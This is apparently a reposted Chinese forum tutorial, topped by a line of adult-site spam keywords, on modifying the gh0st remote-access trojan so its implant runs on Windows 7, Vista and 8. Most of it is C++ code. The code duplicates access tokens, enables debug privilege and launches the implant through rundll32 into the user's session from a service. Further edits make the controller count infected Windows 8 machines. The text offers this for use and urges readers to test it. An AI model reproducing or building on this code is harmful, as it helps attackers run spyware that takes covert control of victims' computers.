日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st支持win7和win8

發布時間:2024/4/11 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st支持win7和win8 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
打開server的until.cpp文件.在最后面#endif的上面加上下列代碼

? ? DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand )
? ? {
? ? DWORD dwRet = 0;
? ? PROCESS_INFORMATION pi;
? ? STARTUPINFO si;
? ? DWORD dwSessionId;
? ? HANDLE hUserToken = NULL;
? ? HANDLE hUserTokenDup = NULL;
? ? HANDLE hPToken = NULL;
? ? HANDLE hProcess = NULL;
? ? DWORD dwCreationFlags;

? ? HMODULE hInstKernel32 = NULL;
? ? typedef DWORD (WINAPI *WTSGetActiveConsoleSessionIdPROC)();
? ? WTSGetActiveConsoleSessionIdPROC WTSGetActiveConsoleSessionId = NULL;

? ? hInstKernel32 = LoadLibrary("Kernel32.dll");

? ? if (!hInstKernel32)
? ? {
? ? return FALSE;
? ? }

? ? WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdPROC)GetProcAddress(hInstKernel32,"WTSGetActiveConsoleSessionId");

? ? // Log the client on to the local computer.
? ? dwSessionId = WTSGetActiveConsoleSessionId();

? ? do
? ? {
? ? WTSQueryUserToken( dwSessionId,&hUserToken );
? ? dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;
? ? ZeroMemory( &si, sizeof( STARTUPINFO ) );
? ? si.cb= sizeof( STARTUPINFO );
? ? si.lpDesktop = "winsta0\\default";
? ? ZeroMemory( &pi, sizeof(pi) );
? ? TOKEN_PRIVILEGES tp;
? ? LUID luid;

? ? if( !::OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
? ? | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_ADJUST_SESSIONID
? ? | TOKEN_READ | TOKEN_WRITE, &hPToken ) )
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? else;

? ? if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &luid ) )
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? else;
? ? tp.PrivilegeCount =1;
? ? tp.Privileges[0].Luid =luid;
? ? tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;

? ? if( !DuplicateTokenEx( hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hUserTokenDup ) )
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? else;

? ? //Adjust Token privilege
? ? if( !SetTokenInformation( hUserTokenDup,TokenSessionId,(void*)&dwSessionId,sizeof(DWORD) ) )
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? else;

? ? if( !AdjustTokenPrivileges( hUserTokenDup, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL ) )
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? else;

? ? LPVOID pEnv =NULL;

? ? DWORD (__stdcall *CreateEnvironmentBlock)( LPVOID *, HANDLE, BOOL );
? ? CreateEnvironmentBlock = (DWORD (__stdcall *)(LPVOID *, HANDLE,BOOL))GetProcAddress( LoadLibrary("UserEnv.dll"), "CreateEnvironmentBlock" );
? ? if (!CreateEnvironmentBlock) break;

? ? if( CreateEnvironmentBlock( &pEnv, hUserTokenDup, TRUE ) )
? ? {
? ? dwCreationFlags|=CREATE_UNICODE_ENVIRONMENT;
? ? }
? ? else pEnv=NULL;

? ? // Launch the process in the client's logon session.
? ? if( CreateProcessAsUser( hUserTokenDup, // client's access token
? ? NULL, // file to execute
? ? lpCommand, // command line
? ? NULL, // pointer to process SECURITY_ATTRIBUTES
? ? NULL, // pointer to thread SECURITY_ATTRIBUTES
? ? FALSE, // handles are not inheritable
? ? dwCreationFlags,// creation flags
? ? pEnv, // pointer to new environment block
? ? NULL, // name of current directory
? ? &si, // pointer to STARTUPINFO structure
? ? &pi // receives information about new process
? ? ) )
? ? {
? ? }
? ? else
? ? {
? ? dwRet = GetLastError();
? ? break;
? ? }
? ? }
? ? while( 0 );

? ? //Perform All the Close Handles task
? ? if( NULL != hUserToken )
? ? {
? ? CloseHandle( hUserToken );
? ? }
? ? else;

? ? if( NULL != hUserTokenDup)
? ? {
? ? CloseHandle( hUserTokenDup );
? ? }
? ? else;
? ? if( NULL != hPToken )
? ? {
? ? CloseHandle( hPToken );
? ? }
? ? else;
? ? return dwRet;
? ? }

然后打開until.h 同樣在最后面的#endif上面加上

? ? DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand );

然后打開svchost.cpp

搜索extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )

在上面加上

? ? extern "C" __declspec(dllexport) void XiaoDeBu(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, int nCmdShow )
? ? {
? ? main(lpCmdLine);
? ? }

搜索g_dwServiceType = QueryServiceTypeFromRegedit(svcname);在下面加上

? ? HANDLE hThread = NULL;
? ? OSVERSIONINFO OsVerInfoEx;
? ? OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
? ? GetVersionEx(&OsVerInfoEx);
? ? if ( OsVerInfoEx.dwMajorVersion < 6 )//判斷那種系統,如果小于6,直接用原來的代碼
? ? {
? ? HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
? ? }
? ? else
? ? {
? ? CHAR lpCommand[256];
? ? CHAR Start[MAX_PATH];
? ? GetModuleFileName(CKeyboardManager::g_hInstance,Start,sizeof(Start));
? ? wsprintf(lpCommand,"rundll32.exe %s, XiaoDeBu %s",Start, svcname );
? ? LaunchAppIntoDifferentSession(lpCommand);
? ? }

然后把HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);這句注釋掉.
? 回復?支持?反對

舉報

? ?
lookmeng 3# ?發表于 2012-12-21 19:14:16?|?只看該作者
上面是win7和VISTA的,下面是win8的:
gh0st支持windows8完美上線
大家都知道windows8出來了吧?就在昨天,這時候我想也是菜鳥最頭痛的時候,因為你們知道不知道怎么讓GH0ST能夠在win8下正常操作呢?下面我們來做詳細的介紹。
首先我們打開控制端說下需要修改的地方
PcView.cpp、ShowNum.cpp
這是2個需要修改的文件
我們先看下主控端
ghst修改系列

修改完畢后在PcView.cpp文件夾搜索“g_pNumDlg->SetNum(IDC_WIN_2000, g_pNumDlg->Win2000);”在下面添加

if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2 )
? ?{
? ? pszOS = _T("win8");
? ? g_pNumDlg->Win8++;
? ? g_pNumDlg->SetNum(IDC_WIN_8, g_pNumDlg->Win8);
? ?}

gh0st修改支持win8

搜索“g_pNumDlg->SetNum( IDC_WIN_2008, g_pNumDlg->Win2008 );”
在下面添加:
if ( strLogText.Find("Win8") != -1 )
? ???{
? ?? ?g_pNumDlg->Win8--;
? ?? ?g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
? ???}

搜索:g_pNumDlg->SetNum( IDC_WIN_2008, g_pNumDlg->Win2008 );
添加:
if ( strLogText.Find("win8") != -1 )
??{
? ?g_pNumDlg->Win8--;
? ?g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
??}

這段代碼有3遍哦

搜索:if ( strLogText.Find("2008") != -1 )

添加:
if ( strLogText.Find("win8") != -1 )
??{
? ?g_pNumDlg->Win8--;
? ?g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
??}



下面開始是ShowNum.cpp文件
搜索:Win2008 = 0;
添加:
Win8 = 0;

gh0st修改支持win8
搜索:SetDlgItemInt(IDC_WIN_2008, Win2008, FALSE);
添加:
SetDlgItemInt(IDC_WIN_8, Win8, FALSE);

gh0st修改支持win8
搜索:int Win7;
添加
int Win8;

gh0st修改支持win8


哈哈這樣我們就大功告成了!怎么樣大家開心吧!趕緊去測試下吧!

總結

以上是生活随笔為你收集整理的gh0st支持win7和win8的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。